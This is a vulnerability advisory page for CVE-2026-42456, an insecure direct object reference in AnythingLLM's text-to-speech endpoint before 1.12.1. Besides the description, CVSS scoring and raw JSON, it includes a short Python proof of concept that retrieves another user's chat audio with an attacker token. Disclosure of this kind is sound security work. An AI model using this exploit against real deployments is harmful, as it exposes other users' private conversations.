Security Vulnerability Report
中文
CVE-2026-42456 CVSS 4.3 MEDIUM

CVE-2026-42456

Published: 2026-05-08 23:16:39
Last Modified: 2026-05-11 17:16:33

Description

AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to version 1.12.1, GET /api/workspace/:slug/tts/:chatId in AnythingLLM returns the text-to-speech audio for another user's chat response within the same workspace because the route validates workspace membership but does not enforce ownership of the targeted chat row. As a result, an authenticated user can access another user's private assistant response in audio form if the chatId is known or guessed. This constitutes an insecure direct object reference (IDOR) affecting private chat response content exposed through the TTS endpoint. This issue has been patched in version 1.12.1.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

AnythingLLM < 1.12.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://target-domain.com" workspace_slug = "general-workspace" victim_chat_id = "12345" # ID of the victim's chat attacker_token = "ATTACKER_JWT_TOKEN" # Valid session token of the attacker # Construct the vulnerable endpoint URL vuln_endpoint = f"{target_url}/api/workspace/{workspace_slug}/tts/{victim_chat_id}" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Send exploitation request try: response = requests.get(vuln_endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit Successful! Audio data received.") # Save the stolen audio file with open("stolen_audio.mp3", "wb") as f: f.write(response.content) else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42456", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:39.230", "lastModified": "2026-05-11T17:16:33.307", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to version 1.12.1, GET /api/workspace/:slug/tts/:chatId in AnythingLLM returns the text-to-speech audio for another user's chat response within the same workspace because the route validates workspace membership but does not enforce ownership of the targeted chat row. As a result, an authenticated user can access another user's private assistant response in audio form if the chatId is known or guessed. This constitutes an insecure direct object reference (IDOR) affecting private chat response content exposed through the TTS endpoint. This issue has been patched in version 1.12.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/Mintplex-Labs/anything-llm/commit/4f3f77119d342e5489d1ba7533ad6d51bdcd565f", "source": "[email protected]"}, {"url": "https://github.com/Mintplex-Labs/anything-llm/releases/tag/v1.12.1", "source": "[email protected]"}, {"url": "https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-jwqg-jfg3-x5vv", "source": "[email protected]"}, {"url": "https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-jwqg-jfg3-x5vv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}